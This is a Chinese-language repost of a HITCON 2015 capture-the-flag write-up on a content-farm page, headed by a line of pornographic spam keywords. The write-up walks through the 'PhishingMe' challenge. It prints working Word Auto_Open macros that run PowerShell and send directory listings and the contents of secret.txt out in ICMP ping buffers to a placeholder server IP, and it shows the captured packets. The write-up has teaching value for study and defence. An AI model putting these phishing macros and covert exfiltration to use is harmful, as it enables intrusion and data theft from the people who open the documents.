午夜精品福利视频,亚洲激情专区,免费看a网站,aa毛片,亚洲色图激情小说,亚洲一级毛片,免费一级毛片一级毛片aa

CTF writeup:HITCON–PhishingMe -電腦資料

電腦資料 時間:2019-01-01 我要投稿
【m.stanzs.com - 電腦資料】

    如果你發(fā)送一個主題為"HITCON 2015"的.doc文檔我會打開!

在我的文件系統(tǒng)中找到flag注:我會為你開啟宏^_________________^[email protected]

    PhishingMe有趣的介紹告知我們可以在.doc中定義一個VBScript宏釣魚,Here we go!

    準備惡意文件

    第一件事,我們需要一個Microsoft Word,這個 .doc文件需要在打開的時候自動運行腳本,

CTF writeup:HITCON–PhishingMe

。過程如下:

    創(chuàng)建一個.doc文件。并從開發(fā)選項單中找到宏選項

   

    創(chuàng)建一個新的宏

   

    我們創(chuàng)建的這個宏需要嘗試通過cmd.exe運行一個簡單的命令

Sub Auto_Open()         Call Debugging End Sub Sub AutoOpen()         Call Debugging End Sub Public Function Debugging() As Variant         Set objShell = CreateObject("Wscript.Shell")         strCmd = "cmd.exe /c ""ping SERVER_IP"""         Set objExec = objShell.Exec(strCmd) End Function

    把這些放入宏窗口并保存

   

    為了測試命令是否執(zhí)行,我們來看看我們這邊的ping請求:

tcpdump -nXX icmp

    保存.doc,重新打開它,然后在服務器上看看ICMP返回的echo request:

10:25:49.351725 IP MY-TEST-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

    Shweet!.doc文件在我們這端是正常運行的,我們再來看看在目標端是否正常運行。接著我們將.doc文件發(fā)送到phishing.me.hitcon.2015#gmail.com,等一會之后在來看看通信。

10:29:21.411226 IP VICTIM-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

    命令正常執(zhí)行,接下來我們該做什么呢?

    反復試驗

    首先試試了常見的CTF比賽策略:上傳Shell然后再找flag。我們可以嘗試以下使用來自PowershellEmpire的Powershell RAT。經過30 – 45分鐘的測試,我們意識到回調函數(shù)并未從目標機器傳遞到我們的服務器上,即使他們運行在本地測試環(huán)境中。這其中肯定存在防火墻或者是其他東西阻止這些出站流量。但是我們已經接收到來自服務器的流量…

    填充FTW

    我們知道ICMP的echo requests已經傳到我們的服務器,同時我們還能通過VBScript執(zhí)行命令。那么這里是否存在什么東西發(fā)送ping….Powershell啊?。ㄎ曳浅Ed奮,這是我第一次在CTF中使用Powershell)下面我們就來看看如何發(fā)送ICMP的echo request

    Microsoft頁面對System.Net.NetworkInformation.Ping的定義如下:

   

   

    似乎我們需要IP address, timeout, 以及a buffer作為參數(shù)?

    下面我們再來看看ICMP echo request的射頻圖

   

    事實證明,ICMP echo request中有一個數(shù)據緩沖區(qū),這可以通過在第三個參數(shù)Send函數(shù)中進行設置

    在Powershell中調用這個函數(shù):

(New-Object System.Net.NetworkInformation.Ping).Send(server_ip, timeout, buffer)

    理論上我們可以通過緩沖區(qū)域的命令結果,并從tcpdump輸出中看到結果。我們通過ICMP做一個快速dir

powershell "$dir=dir; (New-Object System.Net.NetworkInformation.Ping).Send('SERVER_IP', 1000, $dir)"

    在VBScript中替換這個命令應該能夠成功

Sub Auto_Open()         Call Debugging End Sub Sub AutoOpen()         Call Debugging End Sub Public Function Debugging() As Variant         Set objShell = CreateObject("Wscript.Shell")         strCmd = "powershell ""$dir=dir;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""         Set objExec = objShell.Exec(strCmd) End Function

    丟給目標,得到非常有趣的結果:

10:10:00.816080 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 19, length 75 0x0030:  6773 2050 726f 6772 616d 2046 696c 6573  gs.Program.Files 0x0040:  2050 726f 6772 616d 2046 696c 6573 2028  .Program.Files.( 0x0050:  7838 3629 2055 7365 7273 2057 696e 646f  x86).Users.Windo 0x0060:  7773 2073 6563 7265 742e 7478 74         ws.secret.txt

    secret.txt是重點啊,將dir替換為type secret.txt,看看有沒有啥好結果:

Sub Auto_Open()         Call Debugging End SubSub AutoOpen()         Call Debugging End Sub Public Function Debugging() As Variant         Set objShell = CreateObject("Wscript.Shell")         strCmd = "powershell ""$dir=type secret.txt;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""         Set objExec = objShell.Exec(strCmd) End Function

    結果

10:11:35.383781 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 20, length 52  ... 0x0020:  .... .... .... .... .... 6869 7463 6f6e  hitcon 0x0030:  7b6d 3463 7230 5f6d 6131 7761 7265 5f31  {m4cr0_ma1ware_1 0x0040:  735f 6d34 6b31 6e67 5f61 5f63 306d 6562  s_m4k1ng_a_c0meb 0x0050:  3463 6b21 217d                           4ck!!}

    在這里我們找到

hitcon{m4cr0_ma1ware_1s_m4k1ng_a_c0meb4ck!!}

    很酷的一個挑戰(zhàn),特別是使用PowerShell

最新文章